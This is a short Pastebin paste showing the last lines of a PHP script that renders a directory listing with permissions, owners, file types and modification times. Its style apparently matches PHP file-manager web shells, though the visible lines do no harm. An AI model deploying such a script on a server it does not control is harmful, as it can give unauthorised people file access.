  617. echo "</td><td>$r</td><td>$fow</td>";
  618. if(!is_dir($f)){
  619. if(!is_link($f)){
  620. echo w(2)."<td><i>".$l[7]."</i></td>";}
  621. else echo "</td><td>link</td>";}
  622. else echo "</td><td>DIR</td>";
  623. $fi=htmlspecialchars($f);
  624. echo "<td>".@strftime('%B %e %H:%M',@filemtime($f))."</td><td>".(is_dir($f)?font('blue',$fi,3):$fi)."</td>\n";}
  625. ?>
  626. </table></body></html>
  627. <?php exit; ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!